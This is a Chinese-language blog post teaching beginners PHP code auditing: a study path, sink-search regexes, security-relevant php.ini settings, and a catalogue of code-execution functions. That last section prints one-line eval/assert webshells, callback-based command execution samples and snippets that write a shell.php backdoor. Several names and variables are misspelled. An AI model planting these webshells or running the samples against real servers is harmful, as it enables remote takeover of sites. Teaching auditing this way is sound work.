前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一起来学PHP代码审计 | 新手入门篇

一起来学PHP代码审计 | 新手入门篇

作者头像
陌涛
发布2020-06-10 10:16:47
2K0
发布2020-06-10 10:16:47
举报
文章被收录于专栏:畅所欲言畅所欲言
一起来学PHP代码审计 | 新手入门篇
一起来学PHP代码审计 | 新手入门篇

PHP代码入门

代码审计指的是对源代码进行检查,寻找代码中的bug和安全缺陷,这个是一项需要多方面技能的技术,所以我们需要掌握编程,漏洞原理,还要了解系统服务和中间件等。但是这对我们小白来说,可能就是一个“代码审计之从入门到放弃”的悲惨故事,所以我们的学习路线很重要,这里我们就一起来制定一个学习路线理清我们的学习思路。

小白代码审计的养成之路—基础

一 、编程语言篇

1.前端语言 html/javascript/dom元素使用 主要是为了挖掘xss漏洞 jquery 主要写一些涉及到CSRF脚本使用的或者DOM型XSS,JSON劫持等,

2.后端语言 基础语法要知道例如 变量类型,常量,数组(python 是列表,元组,字典),对象,类的调用,引用等, MVC设计模式要清楚,因为大部分目标程序都是基于MVC写的,包括不限于php,python,java(这里我想大家都知道编程语言会一种就一通通百通)。不要求会写,但是一定能看懂,而且要看懂逻辑,知道哪些功能点会用什么方式去写,可能会出现什么类型漏洞,方便挖掘常规类型漏洞,更方便挖掘逻辑漏洞

二 、渗透技巧篇

1.会用常见的渗透工具如sqlmap, awvs,burpsuite等进行渗透(能用工具直接挖洞,当脚本小子也很香)

2.能用手工去进行渗透(为什么要懂渗透技巧 其一在于你找到漏洞的时候,通常的开发功底是不足以构造PAYLOAD的,需要一些特殊的PADYLOAD构造方式。其二你在找漏洞时,可以辅助你更快的去挖掘漏洞)

三 、辅助技术篇

1.协议 例如HTTP传输方式,dict:// file://等,懂得Header头如何伪造 比如XFF注入时的x-forward-for,cookie注入,CRLF身份请求伪造等。

2.程序搭建 你审计时要学会程序搭建,不然静态审计时,无法进行动态调试,方便你更快更高效挖掘漏洞

3.URL链接构造或者URL路由

4.SQL语句及数据库特性 这个主要涉及到SQL注入及sql注入的payload构造绕过

5.中间件及服务器特性 有的代码漏洞 是基于中间件及服务器特性造成的 例如IIS6.0的解析 nginx的解析漏洞等

6.审计辅助工具 IDE,phpstrom 审计工具追踪代码时用到,可与xdebug绑定使用方便调试,源代码审计工具 rips,seay审计工具,辅助你更快的找到漏洞产生点

四、漏洞挖掘

1.我们要懂得漏洞类型产生原理

2.懂得危险函数的参数不当使用可造成的漏洞威胁 例如涉及到命令执行代码执行的eval,assert,array_map,usort等,例如本身函数的脆弱性,is_numeric,md5等

3.晓得php函数的脆弱性 比如==与=== ,===并不是强大无比不可绕过的,也要结合代码设计逻辑

4.php的奇技淫巧

5.php版本及配置不当结合函数不当利用造成的漏洞威胁

最后:这些东西我们可以去那里学呢?关于前后端语言、sql语法这些,我们可以去菜鸟教程(我们要的是能看懂,所以完全可以自学)。其他的我们在后续的文章中会继续详细学习。

小白代码审计的养成之路—思路

代码审计的思路也是我们需要去学习的

两大审计的基本方法

  1. 跟踪用户的输入数据,判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑可以是一个函数,或者是条小小的条件判断语句。
  2. 根据不同编程语言的特性,及其历史上经常产生漏洞的一些函数,功能,把这些点找出来,在分析函数调用时的参数,如果参数是用户可控,就很有可能引发安全漏洞

寻找漏洞前准备

理解现在的cms大致可分为两种,单入口模式和多入口模式.

1.多入口模式cms :每一个功能都需要访问不同的文件。

2.单入口模式的cms:MVC的开发出来的,所以我们要清楚mvc架构

挖掘漏洞方式

1、搜索一些获取用户输入数据的函数,来找到用户输入数据的源头,之后我们从这里为起点,跟踪数据的流向,分析在这整个过程中数据的处理情况,进而定位可能触发漏洞的点。

2、搜索一些经常产生安全问题的函数,比如执行数 据库查询的函数,执行系统命令的函数,文件操作类函数等等,在通过回溯这些函数在被调用时参数,判断参数是否我们可控,进而定位漏洞点。

3.常用的php正则

$_SERVER|$_COOKIE|$_REQUEST|$_GET|$_POST 获取用户输入

eval(|assert(|system( 命令执行

require(|require_once(|include(|include_once( 文件包含

file_get_contents(|file(|fopen(|highlight_file(|show_source(|unlink 文件读取,写入,删除

simplexml_load_string XXE

unserialize 反序列化漏洞

首先PHP的配置

1.php的配置-配置文件

php.ini 全局

.user.ini 用户

2.PHP的配置-语法

设置指令格式:directive=value

指令名(directive)大小写敏感(foo=bar不同于FOO=bar),

值(value)可以是:用引号界定的字符串(”foo”)一个数字(整数或浮点数0,1,55,-1,32.2)、一个php常量(E_ALL,M_PI)、一个ini常量(On,Off,none) 、一个表达式(E_ALL&~E_NOTICE)ini文件种的表达示仅使用:位运算符,逻辑非,圆括号,|位或、&位与、~位非、!逻辑非、布尔值用On表示打开,用Off表示关闭。

3.PHP的配置-变量相关配置

启用全局变量:register_globals = Off

某些程序如osc需要启用全局变量,这个设置的作用是关闭自动注册全局变量,在设置为On时、php会将$POST,$GET,$COOKIE,$ENV,$SESSION数组中的$key=>$value直接注册为变量($POST['username']就会被注册为$username)

这会造成三个问题:

1.不知道变量从哪里来的,($POSTl来的还是$SESSION来的呢?)不方便别人阅读代码

2.变量之间相互覆盖,引起不必要的麻烦

3.安全问题。所以一般设置为Off。

短标签:short_open_tag = On

这个设置决定是否允许使用php代码开始标志的缩写形式(<? ?>)。如果禁用了,必须使用必须使用php代码开始标志的完整形式(<?php ?>)。这个指令也会影响到缩写形式<?=,它和<?echo 等价。使用此缩写需要short_open_tag的值为On,从php5.4.0起,<?=总是可用的。(写shell的时候会判断标签如果有<?php?>就会拦截,如果开启了短标签就可以考虑用缩写)

4.PHP的配置-常见重要配置-安全模式

安全模式:safe_mode = Off

PHP的安全模式是一个非常重要的内嵌安全机制,能够控制一些php中的函数,比如system(),同时把很多文件操作函数进行了权限控制,也不允许某些关键文件的文件,比如/etc/passwd,但默认的php.ini是没有打开安全模式的(这个特性自php5.3.0起废弃并在php5.4.0起移除)

安全模式下执行程序主目录:safe_mode_exec_dir = /var/www/html如果php使用了安全模式,system()和其他程序执行函数将拒绝启动不在此目录中的程序。必须使用/作为目录分隔符,包括windows中。简单来说,就是在这个目录下才可执行。

禁用类/函数:disable_classes = ,disable_functions = ,disable_functions = opendir,readdir,scandir,fopen,unlink 禁用某些类,禁止某些函数。接受逗号分隔的函数名列表作为参数。只能设置在php.ini中。

5.PHP的配置-常见的重要配置-上传文件及目录权限

设置上传及最大上传文件大小:file_uploads = On ,upload_max_filesize = 8M

文件上传临时目录:upload_tmp_dir = 上传文件临时保存的目录,需要可写,如果不设置,则采用系统临时目录。(/tmp,C:WindowsTemp

用户访问目录限制:open_basedir = .:/tmp/ 使用open_basedir选项能够控制php脚本只能访问指定目录,这样能避免php脚本访问本不应该访问的文件,一定程度上限制了phpshell的危害,一般设置为只能访问网站目录,表示允许访问当前目录(即php脚本文件所在之目录)和/tmp/目录,有效防止php木马跨站运行。

6.PHP的配置-常见的重要配置-错误信息

错误信息控制:display_error = On 是否将错误信息作为输出的一部分,站点发布后应关闭这个功能,以免暴露信息。调试的时候打开就好

设置错误报告级别:error_reporting = E_ALL 这个设置的作用是将错误级别设置为最高,显示所有错误,方便查错,有利于写出高质量代码。日志级别是一些常量,在php.ini中有写,推荐使用E_ALL|E_STRICT,即所有级别。

错误日志 :error_log =错误日志的位置,必须对web用户可写入,如果不定义则默认写到web服务器的错误日志中去 log_error = On 建议将错误日志输出到文件,而不直接输出到前端。log_errors_max_length = 1024错误日志关联信息的最大长度,设置为0的时候表示无限长度。

7.PHP的配置-常见的重要配置-魔术引号及远程文件

魔术引号 (php5.3.0废弃php5.4.0移除):magic_quotes_gpc = On magic_quotes_runtime = Off 为GPC(GET/POST/COOKIE)操作设置magic_quotes状态,当magic_quotes为On所有的'(单引号)、"(双引号)、(反斜杆)、和NULL都被一个反斜杆自动转义

是否允许打开远程文件:allow_url_fopen = On

本选项激活了url形式的fopen封装协议使得可以访问url对象例如文件。默认封装协议提供用ftp和http协议来访问远程文件,一些扩展库例如zlib可能会注册更多的封装协议

<?php echo file_get_contents("http://php.net"); ?>

是否允许包含远程文件:allow_url_include = Off

本选项激活允许include,include_once,require,require_once等函数使用url形式的fopen封装协议。简单来说就是可以包含远程文件。 <?php include("http://php.net"); ?>

PHP代码执行函数总结

PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。 常见代码执行函数,如

代码语言:javascript
复制
array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

文件操作函数、动态函数($a($b))

1.eval()

eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

2.assert()

eval()类似,字符串被 assert()当做 PHP 代码来执行,如: 示例代码: <?php //?cmd=phpinfo() assert($_REQUEST[cmd]); ?>

3.reg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 搜索subject中匹配pattern的部分, 以replacement进行替换。 preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将$replacement 参数当作 PHP 代码

示例代码:

<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>

4.reate_function()

create_function()主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

<?php //?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?>

5.array_map()

array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

代码示例:

<?php //?func=system&cmd=whoami $func=$GET['func']; $cmd=$GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?>

6.call_user_func()/call_user_func_array ()

call_user_func 把第一个参数作为回调函数调用,其余参数是回调函数的参数。 call_user_func_array 调用回调函数,并把一个数组参数作为回调函数的参数 <?php //?cmd=phpinfo() @call_user_func(assert,$_GET['cmd']); ?>

<?php //?cmd=phpinfo() $cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>

7.array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) 依次将 array数组中的每个值传递到callback函数。如果 callback函数返回true,则array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php //?func=system&cmd=whoami $cmd=$GET['cmd']; $array1=array($cmd); $func =$GET['func']; array_filter($array1,$func); ?>

8.usort()、uasort()

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例:php环境>=5.6才能用 <?php usort(...$_GET);?> 利用方式:test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert [POST] x=phpinfo();

<?php usort($_GET,'asse'.'rt');?> 利用方式:test.php?1=1+1&2=eval($_POST[x])

9.文件操作函数

file_put_contents() 函数把一个字符串写入文件中。 fputs() 函数写入文件

代码示例:

<?php $test='<?php eval($_POST[cmd]);?>'; file_put_contents('test1.php',$test); ?> <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); ?>

10.动态函数

PHP函数直接由字符串拼接

代码示例:

<?php //?a=assert&b=phpinfo() $GET['a']($GET['b']); ?>

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-06-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PHP代码入门
  • 小白代码审计的养成之路—基础
    • 一 、编程语言篇
      • 二 、渗透技巧篇
        • 三 、辅助技术篇
          • 四、漏洞挖掘
          • 小白代码审计的养成之路—思路
            • 两大审计的基本方法
              • 寻找漏洞前准备
                • 挖掘漏洞方式
                • 首先PHP的配置
                  • 1.php的配置-配置文件
                    • 2.PHP的配置-语法
                      • 3.PHP的配置-变量相关配置
                        • 4.PHP的配置-常见重要配置-安全模式
                          • 5.PHP的配置-常见的重要配置-上传文件及目录权限
                            • 6.PHP的配置-常见的重要配置-错误信息
                              • 7.PHP的配置-常见的重要配置-魔术引号及远程文件
                              • PHP代码执行函数总结
                                • 1.eval()
                                  • 2.assert()
                                    • 3.reg_replace()
                                      • 4.reate_function()
                                        • 5.array_map()
                                          • 6.call_user_func()/call_user_func_array ()
                                            • 7.array_filter()
                                              • 8.usort()、uasort()
                                                • 9.文件操作函数
                                                  • 10.动态函数
                                                  相关产品与服务
                                                  命令行工具
                                                  腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
                                                  领券
                                                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档